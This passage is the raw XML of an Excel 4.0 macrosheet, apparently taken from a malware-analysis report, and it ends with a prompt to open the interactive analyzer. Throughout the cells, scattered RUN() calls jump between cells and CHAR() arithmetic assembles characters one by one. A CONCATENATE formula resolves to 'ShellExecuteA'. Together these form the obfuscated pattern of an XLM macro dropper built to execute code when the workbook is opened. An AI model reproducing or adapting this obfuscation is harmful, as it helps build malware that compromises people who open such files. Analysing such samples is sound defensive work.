r="AC1860"><v>653</v></c></row><row r="1861" spans="27:232" x14ac:dyDescent="0.25"><c r="CK1861"><v>381</v></c></row><row r="1867" spans="27:232" x14ac:dyDescent="0.25"><c r="AA1867" t="b"><f>RUN($FC$1074)</f><v>0</v></c></row><row r="1876" spans="63:210" x14ac:dyDescent="0.25"><c r="HB1876" t="b"><f>RUN($IO$120)</f><v>0</v></c></row><row r="1883" spans="63:210" x14ac:dyDescent="0.25"><c r="BK1883"><v>98</v></c></row><row r="1895" spans="10:229" x14ac:dyDescent="0.25"><c r="HU1895" t="b"><f>RUN($AU$418)</f><v>0</v></c></row><row r="1899" spans="10:229" x14ac:dyDescent="0.25"><c r="J1899"><v>371</v></c></row><row r="1907" spans="4:249" x14ac:dyDescent="0.25"><c r="H1907" t="b"><f>RUN($DE$162)</f><v>0</v></c></row><row r="1912" spans="4:249" x14ac:dyDescent="0.25"><c r="E1912" t="str"><f>CONCATENATE($IG$839)</f><v>ShellExecuteA</v></c></row><row r="1916" spans="4:249" x14ac:dyDescent="0.25"><c r="GS1916" t="str"><f>CHAR($EB$630-459)</f><v>U</v></c></row><row r="1919" spans="4:249" x14ac:dyDescent="0.25"><c r="IO1919" t="b"><f>RUN($GO$315)</f><v>0</v></c></row><row r="1920" spans="4:249" x14ac:dyDescent="0.25"><c r="D1920"><v>644</v></c></row><row r="1925" spans="7:172" x14ac:dyDescent="0.25"><c r="G1925" t="str"><f>CHAR($GH$1639-532)</f><v>.</v></c></row><row r="1927" spans="7:172" x14ac:dyDescent="0.25"><c r="EZ1927"><v>579</v></c></row><row r="1930" spans="7:172" x14ac:dyDescent="0.25"><c r="EK1930" t="b"><f>RUN($CD$614)</f><v>0</v></c></row><row r="1933" spans="7:172" x14ac:dyDescent="0.25"><c r="BR1933"><v>925</v></c></row><row r="1935" spans="7:172" x14ac:dyDescent="0.25"><c r="AE1935"><v>40</v></c><c r="FP1935" t="b"><f>RUN($CH$1844)</f><v>0</v></c></row><row r="1944" spans="88:235" x14ac:dyDescent="0.25"><c r="GD1944" t="b"><f>RUN($AD$1028)</f><v>0</v></c></row><row r="1948" spans="88:235" x14ac:dyDescent="0.25"><c r="IA1948"><v>926</v></c></row><row r="1951" spans="88:235" x14ac:dyDescent="0.25"><c r="CY1951" t="str"><f>CHAR($IA$1948-814)</f><v>p</v></c></row><row r="1952" spans="88:235" x14ac:dyDescent="0.25"><c r="CJ1952" t="str"><f>CHAR($FQ$1530-814)</f><v>S</v></c></row><row r="1958" spans="76:232" x14ac:dyDescent="0.25"><c r="HX1958"><v>72</v></c></row><row r="1967" spans="76:232" x14ac:dyDescent="0.25"><c r="BX1967" t="str"><f>CHAR($FL$155-459)</f><v>O</v></c></row><row r="1969" spans="41:214" x14ac:dyDescent="0.25"><c r="DG1969" t="str"><f>CHAR($DB$1236-814)</f><v>n</v></c></row><row r="1970" spans="41:214" x14ac:dyDescent="0.25"><c r="BO1970"><v>66</v></c></row><row r="1977" spans="41:214" x14ac:dyDescent="0.25"><c r="HF1977" t="b"><f>RUN($X$1282)</f><v>0</v></c></row><row r="1978" spans="41:214" x14ac:dyDescent="0.25"><c r="DL1978"><v>911</v></c></row><row r="1979" spans="41:214" x14ac:dyDescent="0.25"><c r="AO1979" t="b"><f>RUN($AI$494)</f><v>0</v></c></row><row r="1985" spans="45:191" x14ac:dyDescent="0.25"><c r="AS1985" t="str"><f>CHAR($DJ$1634-459)</f><v>K</v></c></row><row r="1986" spans="45:191" x14ac:dyDescent="0.25"><c r="DI1986"><v>882</v></c></row><row r="1987" spans="45:191" x14ac:dyDescent="0.25"><c r="EY1987"><v>11</v></c></row><row r="1998" spans="45:191" x14ac:dyDescent="0.25"><c r="GI1998"><v>88</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.